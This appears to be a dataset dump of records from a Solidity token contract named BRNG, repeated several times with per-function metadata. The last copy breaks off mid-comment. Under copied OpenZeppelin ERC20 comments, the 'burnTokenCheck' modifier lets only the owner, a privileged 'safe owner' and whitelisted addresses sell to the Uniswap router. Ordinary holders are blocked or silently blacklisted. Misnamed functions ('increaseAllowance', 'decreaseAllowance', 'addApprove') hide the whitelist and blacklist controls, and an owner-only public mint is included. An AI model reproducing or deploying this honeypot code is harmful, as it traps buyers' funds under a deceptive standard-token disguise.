address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 2709, 2833 ] }
14,110
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 3041, 3225 ] }
14,111
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 3772, 3928 ] }
14,112
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be 